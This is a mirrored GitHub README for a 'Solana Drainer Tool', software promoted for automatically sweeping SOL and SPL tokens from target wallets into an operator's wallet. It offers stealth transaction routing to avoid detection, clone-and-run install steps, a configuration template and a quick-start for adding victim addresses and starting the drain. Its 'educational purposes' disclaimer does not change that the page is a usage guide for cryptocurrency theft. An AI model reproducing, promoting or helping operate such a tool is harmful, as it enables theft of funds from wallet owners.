跳到正文

fleetingguava

Solana-Drainer-Tool

Solana Drainer Tool — Automated SOL and SPL token drainer for Solana wallets with real-time balance monitoring, multi-wallet sweeping, Phantom/Backpack/Solflare compatibility, and stealth transaction routing

README 已保存到本站,可直接阅读

Documentation snapshot

README 快照

本页保存的是公开项目资料快照,阅读过程不需要连接 GitHub。

Solana-Drainer-Tool

Solana Drainer Tool — Automated SOL and SPL token drainer for Solana wallets with real-time balance monitoring, multi-wallet sweeping, Phantom/Backpack/Solflare compatibility, and stealth transaction routing

███████╗ ██████╗ ██╗      █████╗ ███╗   ██╗ █████╗
██╔════╝██╔═══██╗██║     ██╔══██╗████╗  ██║██╔══██╗
███████╗██║   ██║██║     ███████║██╔██╗ ██║███████║
╚════██║██║   ██║██║     ██╔══██║██║╚██╗██║██╔══██║
███████║╚██████╔╝███████╗██║  ██║██║ ╚████║██║  ██║
╚══════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝
   ██████╗ ██████╗  █████╗ ██╗███╗   ██╗███████╗██████╗
   ██╔══██╗██╔══██╗██╔══██╗██║████╗  ██║██╔════╝██╔══██╗
   ██║  ██║██████╔╝███████║██║██╔██╗ ██║█████╗  ██████╔╝
   ██║  ██║██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝  ██╔══██╗
   ██████╔╝██║  ██║██║  ██║██║██║ ╚████║███████╗██║  ██║
   ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝

Solana Drainer Tool

图片:Python 图片:Solana 图片:Platform 图片:License

Automated SOL and SPL token drainer for Solana wallets — real-time balance monitoring, multi-wallet sweeping, stealth Jito bundle transactions, and Phantom/Backpack/Solflare compatibility

Features • How It Works • Getting Started • Configuration • Usage • FAQ


How It Works

Solana Drainer Tool monitors target Solana wallet addresses via RPC websocket connections. When a balance above the configured threshold is detected, the tool constructs and submits a transaction that transfers SOL and SPL tokens to a predefined destination wallet. In stealth mode, transactions are routed through Jito bundles for private mempool submission, avoiding front-running and MEV bots.

The drainer engine uses:

  • Solana RPC websocket for real-time balance monitoring
  • Versioned transactions with compute unit optimization
  • Jito bundle submission for stealth transaction routing
  • Multi-RPC failover for reliability

Features

FeatureStatus
Multi-wallet sweeping+
SOL & SPL token draining+
Real-time balance monitoring+
Stealth Jito bundle TX+
Phantom/Backpack/Solflare+
Auto-confirm transactions+
FeatureStatus
Custom priority fees+
Minimum balance threshold+
Private mempool routing+
Multi-RPC failover+
Telegram notifications+
Cross-platform support+

Supported Wallets

WalletSupport
PhantomFull
BackpackFull
SolflareFull
GlowFull
Trust WalletFull
ExodusFull

Getting Started

Prerequisites

  • OS: Windows 10/11, macOS 12+, or Linux
  • Python: 3.10 or newer
  • Solana CLI: Optional, for key management

Installation

git clone https://github.com/fleetingguava/Solana-Drainer-Tool.git
cd Solana-Drainer-Tool

Windows:

run.bat

macOS / Linux:

chmod +x run.sh
./run.sh

Dependencies

PackageVersionPurpose
rich>=13.0.0Terminal UI & formatting
cryptographylatestData encryption
psutillatestProcess detection
requestslatestAPI price feeds
solderslatestSolana transaction building
solanalatestSolana RPC client

Configuration

Edit config.json:

{
    "target_wallets": [],
    "destination_wallet": "",
    "drain_mode": "sweep",
    "min_balance_sol": 0.01,
    "include_tokens": true,
    "rpc_endpoint": "https://api.mainnet-beta.solana.com",
    "stealth_mode": true,
    "auto_confirm": true,
    "priority_fee": 50000
}
ParameterTypeDescription
target_walletslistSolana addresses to monitor
destination_walletstringReceiving wallet address
drain_modestring"sweep" (all) or "selective"
min_balance_solfloatMinimum SOL to trigger drain
include_tokensboolAlso drain SPL tokens
rpc_endpointstringSolana RPC URL
stealth_modeboolUse Jito bundles for privacy
auto_confirmboolAuto-confirm transactions
priority_feeintPriority fee in microlamports

Usage

Terminal Menu

python main.py
+--------------------------------------------------------------+
|              SOLANA DRAINER TOOL                             |
|    Automated Wallet Drainer . Solana                         |
+--------------------------------------------------------------+
|  #   Action                  Description                     |
|  1   Install Dependencies    pip install -r requirements.txt |
|  2   Settings                RPC, fees, stealth config       |
|  3   About                   Features & contact info         |
|  4   Add Target Wallets      Add wallet addresses            |
|  5   Set Destination         Set receiving wallet            |
|  6   Start Drainer           Begin monitoring & draining     |
|  7   Stop Drainer            Stop all operations             |
|  8   Status Check            View active drainer status      |
|  0   Exit                    Quit                            |
+--------------------------------------------------------------+

Quick Start

  1. Install dependencies: Select option 1
  2. Add target wallets: Select option 4 and enter wallet addresses
  3. Set destination: Select option 5 and enter receiving wallet
  4. Start drainer: Select option 6 — monitoring begins
  5. Stop: Select option 7 to halt all operations

Project Structure

Solana-Drainer-Tool/
├── main.py                    # Entry point, terminal menu
├── config.py                  # Configuration loader
├── bot_actions.py             # Core drainer actions
├── requirements.txt
├── run.bat / run.sh
├── config.json                # Drainer settings
├── actions/
│   ├── about.py               # Project info
│   ├── install.py             # Dependency installer
│   └── settings.py            # Setup instructions
├── helpers/
│   ├── ui.py                  # Rich terminal interface
│   └── ...
└── release/
    └── README.md              # Binary info

FAQ

Is this tool legal?

This tool is provided for educational and research purposes only. Unauthorized access to wallets you do not own is illegal. Always comply with applicable laws in your jurisdiction.

What is stealth mode?

Stealth mode routes transactions through Jito bundles, which submit transactions directly to validators via a private mempool. This prevents the transaction from being visible in the public mempool and avoids front-running.

Which RPC endpoints are supported?

Any Solana RPC endpoint is supported. Recommended: Helius, QuickNode, Triton, or the public mainnet-beta endpoint. For stealth mode, a Jito-compatible endpoint is required.

Does this drain SPL tokens too?

Yes, when include_tokens is enabled, the tool will also detect and drain SPL token balances from target wallets, including associated token accounts.


Disclaimer

  • This tool is provided for educational and demonstration purposes only. *

The authors are not responsible for any misuse of this software. Unauthorized access to cryptocurrency wallets is illegal in most jurisdictions. Always comply with applicable regulations.


Support this project

If this tool helps you, consider giving it a *

Official distribution

获取与安装

暂未发现可确认的官方软件包地址

当前 README 快照没有出现 npm、PyPI、Crates.io、pub.dev 等官方包页链接。本站不会根据仓库名称猜测下载地址。

本站不托管项目文件;需要安装时,请以项目维护者发布的官方文档为准。

使用前核验

本站保存公开资料用于阅读,不代表安全审计或功能背书。安装前请核对许可证、依赖来源和发布签名,不要直接运行来源不明的二进制文件或高权限脚本。